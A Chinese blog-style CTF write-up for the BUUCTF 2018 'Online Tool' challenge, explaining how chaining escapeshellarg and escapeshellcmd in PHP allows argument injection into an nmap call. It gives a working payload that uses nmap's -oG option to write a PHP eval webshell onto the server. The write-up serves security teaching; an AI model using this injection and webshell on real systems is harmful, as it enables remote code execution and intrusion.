BUUCTF 2018-Online Tool

BUUCTF 2018-Online Tool

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg,escapeshellcmd 两者的同时使用存在漏洞CVE-2016-10045
参考链接

escapeshellarg

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,
并且确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
var_dump(escapeshellarg("aa'bb"));
//输出string(10) "'aa'\''bb'"
可以看到escapeshellarg主要干了两件事:
用\转义已有的’,然后’’将'括起来
在字符串两端添加’’
其目的就是限制shell命令只能有一个参数(当然也只能执行一条命令)
<?php
system("ls ".$_GET['cmd']);
system("ls ".escapeshellarg($_GET['cmd']));
传入?cmd=/ /var
第一个system会执行
ls / /var
第二个system会执行
ls '/ /var'

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数 或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:
&#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

escapeshellcmd会在一些shell的特殊字符前面加上\将其转义
escapeshellcmd的目的就是使其只能执行一条命令,但允许多个参数
两者连用
先使用escapeshellarg,再使用escapeshellcmd就会导致注入多个参数的问题(也就相当于escapeshellarg失效)
$cmd = $_GET['cmd'];
$cmd = escapeshellarg($cmd);
var_dump($cmd);
$cmd = escapeshellcmd($cmd);
var_dump($cmd);
system('echo '.$cmd);
?cmd=aaa’ <?()> 123 ,输出
string(19) "'aaa'\'' <?()> 123'"
string(26) "'aaa'\\'' \<\?\(\)\> 123\'"
aaa\ <?()> 123

然后最后就是利用nmap 写入一句话木马

nmap的文件写入:

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件

nmap的常规利用:
nmap -T5 -sT -Pn --host-timeout 2 -F 

-T5: 即Insane模式,适合快速的网络或者不在意丢失默些信息,对每台主机的超时限制为75,对每次探测只等待0.3-sT: TCP连接扫描
-Pn: 无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-F : 快速扫描
-oG: nmap -F -oG test.txt 192.168.23.1 将扫描结果保存到test.txt

payload

http://622d9ac8-7468-4b47-93e5-229285899057.node4.buuoj.cn:81/?host=1' <?= eval($_POST["360"]);?> -oG 1.php%20
最后面1.php那里需要空格(%20)隔开单引号,不然会写到1.php’里

这个就是文件夹名,访问就可以了
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值